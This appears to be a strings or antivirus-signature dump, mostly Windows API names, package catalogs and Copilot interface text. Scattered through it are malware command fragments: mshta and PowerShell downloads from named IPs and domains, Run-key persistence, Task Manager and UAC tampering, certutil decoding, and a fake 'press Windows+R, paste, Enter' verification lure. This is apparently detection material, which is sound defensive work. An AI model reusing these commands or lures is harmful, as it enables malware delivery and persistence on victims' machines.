winLogonActivityType
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsCreateStringReference
WindowsDuplicateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsConcatString
WindowsGetStringLen
WindowsSubstringWithSpecifiedLength
WindowsCompareStringOrdinal
WindowsSubstring
WindowsDeleteStringBuffer
WindowsPromoteStringBuffer
WindowsPreallocateStringBuffer
SystemSettings_SyncSettings_Windows_Toggle2_Slice
Windows
ext-ms-win-ntuser-windowstation-l1-1-0.dll
ext-ms-windowscore-deviceinfo-l1-1-0.dll
windows.immersivecontrolpanel_cw5n1h2txyewy
WindowsBackupAndRestore
Windows Desktop Search
Windows Mail
Windows NT
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
.run("c:\windows\system32\migwiz\migwiz.exe"&file&"/c%windir%\system32\reg.exeadd
System.Windows.Forms.Layout
VS2013WindowSplitterControlFactory
IWindowSplitterControlFactory
set_WindowSplitterControlFactory
aymentlili\source\repos\windowsformsapp1
Windows Produc'
demoteWindowsMediaPlayer$
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x64__8wekyb3d8bbwe
Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe
Help Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application se
c:\windows\system32\cmd.exe/cpowershell-cset-alias
s\system32\forfiles.exe/p\windows\skb/c"powershell.\*i*\s*3*\m*ta.e*http://199.34.27.196/14.225.210.
@echooff:starttaskkill/imexplorer.exe/fregaddhkcu\software\microsoft\windows\currentversion\policies\system/vdisabletaskmgr
regcreate("hkey_local_machine\\software\\microsoft\\windows\\currentversion\\run\\mskernel32",dirsystem+"\\mskernel32.vbs")
[internetshortcut]iconindex=70hotkey=0idlist=url=file://46.8.19.32/mise/server.exeiconfile=c:\windows\system32\shell32.dll
windows.protocol
ssFlags@$01@WRL@Microsoft@@U?$IAsyncOperationCompletedHandler@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@@@Foundation@Windows@@VFtmBase@23@@WRL@Microsoft@@
.?AVFTMEventDelegate@?1???$WaitForCompletion@U?$IAsyncOperationCompletedHandler@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@@@Foundation@Windows@@U?$IAsyncOperation@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@@@23@@@YAJPEAU?$IAsyncOperation@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@@@Foundation@Windows@@W4tagCOWAIT_FLAGS@@PEAX@Z@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationCompletedHandler@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVGetDefaultSignInAccountResult@Web@Authentication@Security@Internal@Windows@@PEAUIGetDefaultSignInAccountResult@23456@@Internal@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@@PEAUIOnlineIdSystemTicketResult@2345@@Internal@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler@PEAVGetDefaultSignInAccountResult@Web@Authentication@Security@Internal@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVWebAccount@Credentials@Security@Windows@@PEAUIWebAccount@234@@Internal@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@PEAUIWebTokenRequestResult@23456@@Internal@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler@PEAVWebAccount@Credentials@Security@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler_impl@PEAU?$IVectorView@PEAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@UIAsyncActionCompletedHandler@Foundation@Windows@@VFtmBase@23@@WRL@Microsoft@@
.?AVFTMEventDelegate@?1???$WaitForCompletion@UIAsyncActionCompletedHandler@Foundation@Windows@@UIAsyncAction@23@@@YAJPEAUIAsyncAction@Foundation@Windows@@W4tagCOWAIT_FLAGS@@PEAX@Z@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$0A@UIAsyncActionCompletedHandler@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@UIAsyncActionCompletedHandler@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AUIAsyncActionCompletedHandler@Foundation@Windows@@
<windowsidentity 
c:\windows\psgo\
!#SCPT:WindowsDiscount_ins3
IsUnsupportedOnWindows10X called on Windows10X device
FindSharedWindowsRequestedEvent
Microsoft.Windows.ProcessLifetimeManager
Microsoft.Windows.ProcessStateManager.AppLibrary
%SystemRoot%\system32\csrss.exe
\Windows
Windows
Windows
er af as jy dit later wil gebruik.Microsoft Copilot probeer tans om wagwoorde in te vul. Tik jou Windows-wagwoord om dit toe te laat.copilotupdateMicrosoft Copilot-bywerkingsdiensInterne Microsoft Copilot-bywerkingsdiensHou jou Microsoft Copilot-sagteware op datum. As hierdie diens gedeaktiveer of gestop word, sal jou Microsoft Copilot-sagteware nie op datum gehou word nie, wat beteken dat sekuriteitkwesbaarhede wat kan voorkom nie reggestel kan word nie en kenmerke dalk nie sal werk nie.Microsoft Copilot vir BesigheidTo cast with a code, turn on Microsoft Copilot's sync settingsCustomize your Microsoft CopilotTo sign in to Microsoft Copilot with an additional email account, add a profile.You've signed out of your account from a website, so we've signed you out of Microsoft Copilot. Sign in to sync your browsing data across devices.Your Microsoft Copilot application may not be fully functional until you sign
WindowsApiDefaultDate
lMhgeneric host process for win32 servicescsrss.exe:\windows\help\.hlpw
.useragent="mozilla/5.0(windowsnt10.0;win64;x64)applewebkit/537.36(khtml,likegecko)chrome/131"+".0.0.0safari/537.36";
kfmWindowSyncErrorHeaderText
WindowsForms10.Window.20808.app.0.129c866_r7_ad1
Ningle_threaded_collection_base>,struct winrt::Windows::Services::Store::StorePackageUpdate>::RemoveAt(const unsigned int)
void __cdecl winrt::vector_base<struct winrt::impl::vector_impl<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::vector<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::allocator<struct winrt::Windows::Services::Store::StorePackageUpdate> >,struct winrt::impl::single_threaded_collection_base>,struct winrt::Windows::Services::Store::StorePackageUpdate>::InsertAt(const unsigned int,const struct winrt::Windows::Services::Store::StorePackageUpdate &)
void __cdecl winrt::vector_base<struct winrt::impl::vector_impl<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::vector<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::allocator<struct winrt::Windows::Services::Store::StorePackageUpdate> >,struct winrt::impl::single_threaded_collection_base>,struct winrt::Windows::Services::Store::StorePackageUpdate>::SetAt(const unsigned int,const struct winrt::Windows::Services::Store::StorePackageUpdate &)
struct winrt::Windows::Services::Store::StorePackageUpdate __cdecl winrt::iterable_base<struct winrt::impl::vector_impl<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::vector<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::allocator<struct winrt::Windows::Services::Store::StorePackageUpdate> >,struct winrt::impl::single_threaded_collection_base>,struct winrt::Windows::Services::Store::StorePackageUpdate,struct winrt::impl::collection_version>::iterator::Current(void) const
C:\Users\cloudtest\.nuget\packages\microsoft.windows.wil.internal\0.2.135\inc\wil\opensource\wil\resource.h
qQSoftware\Microsoft\Windows\CurrentVersion\Uninstall\Fruity\bjergvrksdriftenInterlocating\Supereligibleness.VarSoftware\Gnaske\Trisylabic\Oculocephalic\PreexactionBamboozled\Koppevaccination\Ldreliv.GraUransagelighedens\Brneteater.dllAfspndingsmidlernes\Stormasters206\Senilises\Journaliserende.ini
@@Windows Defender::%ProgramFiles%\Windows Defender\MsMpeng.exe@@@
Unable to get Windows::Networking::Connectivity::NetworkInformation
Running on Windows %d.%d without network detector...
Handled exception in network cost detection (Windows 7?)
DiskCache.MoveCacheToRestartCache.Windows
DiskCache.MoveCacheToRestartCacheError.Windows
"@softWindows.Client.CBS_1000.261
AFullName": "MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy"r
Microsoft.Windows.Health.TestInProduction
0ilyName": "MicrosoftWindows.Client.OOBE_cw5n1h2txyewy"
EFullName": "MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy"
WindowsBase
Microsoft.Windows.Health.TestInProduction
!FullName": "MicrosoftWindows.Client.CBS_1000.261
": "Microsoft.Windows.OOBENetworkConnec
c:\windows\
c:\windows\
c:\windows\
windows media player
windows fax and scan(
isinwindowssH
\Device\HarddiskVolume3\Windows\System32\conhost.exe
\japonica\inward.cmdc:\windows\
Microsoft.Windows.Storage.Spaceport
Microsoft.Windows.TlgAggregateInternal
windows
windows.hlp`
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
\system32\taskeng.exe
windows\
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
qqqqqqqqqqqqqqqqarningSecondaryText":  "The folder you tried to unselect contains the Windows {1} folder, which is an important 
e Windows {0} fo
HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\IpAddresses
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\IpAddresses
"C:\Windows\iexplL
WindowsVersion
\windows\currentver
%://login.windows.net/'+
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\Windows.ApplicationModel.Background.h
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundTaskInstance<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskInstance>::GetDeferral(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundTaskDeferral<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskDeferral>::Complete(void) const
auto __cdecl winrt::impl::consume_Windows_Data_Json_IJsonObject<struct winrt::Windows::Data::Json::IJsonObject>::SetNamedValue(const struct winrt::param::hstring &,const struct winrt::Windows::Data::Json::IJsonValue &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IStringable<struct winrt::Windows::Data::Json::JsonObject>::ToString(void) )
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
wow64_microsoft-windows-p..soundservice-client_31bf3856ad364e35_none_d1edad72680c2f77
wow64_microsoft-windows-p..st-common.resources_31bf3856ad364e35_en-us_136d7d95eb30aad0
wow64_microsoft-windows-p..standardportmonitor_31bf3856ad364e35_none_19c5850824574429
wow64_microsoft-windows-p..structure-minkernel_31bf3856ad364e35_none_7d02911a7d81301c
wow64_microsoft-windows-p..structureexecutable_31bf3856ad364e35_none_0d543020167a3b30
wow64_microsoft-windows-msvbvm60_31bf3856ad364e35_none_5f3bc90d6c4a0d86
wow64_microsoft-windows-msvcirt_31bf3856ad364e35_none_2f530fa463cf7ab5
wow64_microsoft-windows-msvcp110_31bf3856ad364e35_none_5ffb01a6853fcf50
wow64_microsoft-windows-msvcp60_31bf3856ad364e35_none_323138f461a96cf4
wow64_microsoft-windows-msvcrt_31bf3856ad364e35_none_aab1a4c1474522d6
Magic number = 0x5A4DWindowsPowerShell\v1.0\powers
\windows\explorer.exe /e,::{9fc8e510-a27c-4b3b-b9a3-bf65f00256a8}\
%localappdata%\microsoft\windowsapps\datalayer.dll%
c:/windows/system32/d
c:/windows/system32/dt
\windows\temp\
\windows\temp\
.?AV?$_Binder@U_Unforced@std@@P8UserActivityManager@implementation@UserActivities@ApplicationModel@WindowsUdk@winrt@@EAAX_KIV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@2@@ZPEAU345678@AEBU?$_Ph@$00@2@AEBU?$_Ph@$01@2@AEBU?$_Ph@$02@2@@std@@
.P6A_NAEBUShutdownUXOption@Shutdown@UI@Internal@Windows@winrt@@@Z
.?AV?$_Binder@U_Unforced@std@@P8DictationManager@implementation@Dictation@Input@UI@WindowsUdk@winrt@@EAAXG@ZPEAU3456789@AEBU?$_Ph@$00@2@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationManager@implementation@Dictation@Input@UI@WindowsUdk@winrt@@EAAXXZPEAU3456789@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationInputProcessor@implementation@Text@Input@UI@WindowsUdk@winrt@@EAAXXZPEAU3456789@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationInputProcessor@implementation@Text@Input@UI@WindowsUdk@winrt@@EAAXG@ZPEAU3456789@AEBU?$_Ph@$00@2@@std@@
.?AU?$TypedEventHandler@UMenuItem@UI@WindowsUdk@winrt@@UMenuItemInvokedArgs@234@@Foundation@Windows@winrt@@
c:\Windows\%s%d.exec:\Windows\BJ.exe
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
WindowState
QWindowsGeometryHint::frameOnPrimaryScreen
QWindowsGeometryHint::frame
QWindowsGeometryHint::handleCalculateSize
QWindowsGeometryHint::applyToMinMaxInfo
QWindowsBaseWindow::raise_sys
QWindowsBaseWindow::lower_sys
QWindowsBaseWindow::setWindowTitle_sys
QWindowsForeignWindow::setParent
QWindowsForeignWindow::setVisible
QWindowsWindow::destroyWindow
QWindowsWindow::setDropSiteEnabled
QWindowsWindow::setVisible
QWindowsWindow::setParent
Microsoft.Windows.Wil.FeatureLogging
allowScrollInactiveWindows
USERDOMAIN_ROAMINGPROFILE=Windows11
Windows.Data.UnifiedTile.StartGlobalProperties
 @Windows.Data.CuratedTileCollection.Tile
 @Windows.Data.UnifiedTile.TileProperties
 @Windows.Data.PlaceholderTileCollectionLocal
 @Windows.Data.CuratedTileCollection.Root
 @Windows.Data.PlaceholderTileCollection
 @Windows.Data.PlaceholderTileLocal
 @Windows.Data.PlaceholderTileLogo
 @Windows.Data.CuratedTileCollection.Group
!NewWinLogon;
]set-itemproperty-pathregistry::hkey_local_machine\software\microsoft\windows\currentversion\policies\system-nameconsentpromptbehavioradmin-value
=aKclipboard.writetext(command).then(()=>{alert('followthesestepstoverify:\n1.openrunbypressingwindows+r.\n2.hitctrl+vinthebox.\n3.pressentertocompletetheverificationprocess.');}).
1.press<iclass="fabfa-windows"></i>+r</p><p>2.pressctrl+v</p><p>3.pressenter</p>
Windows
Windows Defender.pdbSingleFileGeneratorLowLevelKeyboardProcWH_KEYBOARD_LLtestwefwef\testwefwefTrojan:AndroidOS/Vesub.A!MTB
Microsoft Windowss
Microsoft.WindowsCalculator_8wekyb3d8bbwe
windows.protocol
Microsoft.Windows.DevHome_8wekyb3d8bbwe
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
t:\windows\system32
s:\windows\system32
windows11
\Microsoft\Windows\Start Menu\Programs\StartUp\regchk.exe\
/.jpg&&call%windir%\system32\%r1%r32%temp%\
&&%systemroot%\system32\certutil-decod
'&c:\windows\system32
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateString
WindowsCreateStringReference
WindowsDuplicateString
WindowsDeleteString
WindowsGetStringLen
WindowsCompareStringOrdinal
WindowsConcatString
WindowsSubstringWithSpecifiedLength
WindowsDeleteStringBuffer
WindowsPromoteStringBuffer
WindowsPreallocateStringBuffer
GetSystemWindowsDirectoryW
9N1F85V9T8BNWindows Apphttps://store-images.s-microsoft.com/image/apps.54073.13902538874112719.524cfb4a-0a7d-45be-bae7-dc1bb3a1c4af.bfaf52ba-a25c-4b1d-b32b-07d3e5c8bb8een
9N1F85V9T8BNWindows Apphttps://store-images.s-microsoft.com/image/apps.54073.13902538874112719.524cfb4a-0a7d-45be-bae7-dc1bb3a1c4af.bfaf52ba-a25c-4b1d-b32b-07d3e5c8bb8efr
9N1F85V9T8BNWindows Apphttps://store-images.s-microsoft.com/image/apps.54073.13902538874112719.524cfb4a-0a7d-45be-bae7-dc1bb3a1c4af.bfaf52ba-a25c-4b1d-b32b-07d3e5c8bb8ede
c:\windows\
sts.windows.net
2c:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'https://emlakes.com/tema/genel/uploads/ik/krp.hta'
.7[cmd.exej-i9vc:\windows\syswow64\cmd.exe/q/c
.cmdc:\windows\syswow64\shlwapi.dll%systemroot%
c:\windows\system32\forfiles.exe/p\windows\skb/c"powershell.\*i*\s*3*\m*ta.e*http://199.34.27.196/139.99.23.xx/139.99.23.xx-tru.hta
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-ConfigCI-Onecore-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-BootableSKU-Winlogon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-PeerDist-Client-Group-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Printing-PremiumTools-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-ConfigCI-Onecore-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-BootableSKU-Winlogon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-PeerDist-Client-Group-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|35~amd64~~10.0.26100.7824.cat|.0.26
ROOT\Microsoft\Windows\Smb
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsCreateStringReference
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsDuplicateString
WindowsTrimStringEnd
WindowsTrimStringStart
Microsoft-Windows-Runtime-Metadata-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
gOfilePath = "C:\Users\" & Environ("USERNAME") & "\AppData\Roaming\startup.bat"networking.s3.ir-thr-at1.arvanstorage.ir/Payload.bat%appdata%\Payload.bat\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\startup.vbsTrojan:PDF/Phish.VEH!MTB
AGGR:WindowsMostlyCleanLocations.A
c:\windows\
MHSTR:System32
%systemroot%\system32\shell32.dll
reg.exeaddhkcu\software\microsoft\windows\currentversion\run/vruntimebroker_connect/d
syswow64\</t></si><si><txml:space="preserve">..\rfs.dll</t></si><si><t>\windows\</t>
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
#Windows.Client.CBS_cw5n1h2txyewy!WebExperienceHostu
WINDOWS.FOUNDATION.URI
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
vYdel/q/f"%appdata%\microsoft\windows\startmenu\programs\startup\officesetting.lnk"
C..\..\ragvanabscab\inexactcomfort.batc:\windows\system32\shell32.dll%systemroot%
c:\windows\temp\*
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
-groupred"-windowstylehidden;
windows-936
windows-936-2000
Mozilla/5.0 (Windows NT 10.0; Win64; x
Mozilla/5.0 (Windows NT 10.0; Win64; x
WindowsCoreHeadless-DeviceRuntime
Windows-Client-LanguageH
Windows Defender Exploit Guard detected an attempted installation of a persistent entity in the WMI repo via event subscription
regkeyvalue://HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\{751ef305-6c6e-4fed-b847-02ef79d26aef}\\
c:\windows\fonts
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
aurn:schemas-microsoft-com:windows:store:licensing:ls
Microsoft.Windows.Widgets.Hosts.WidgetHost
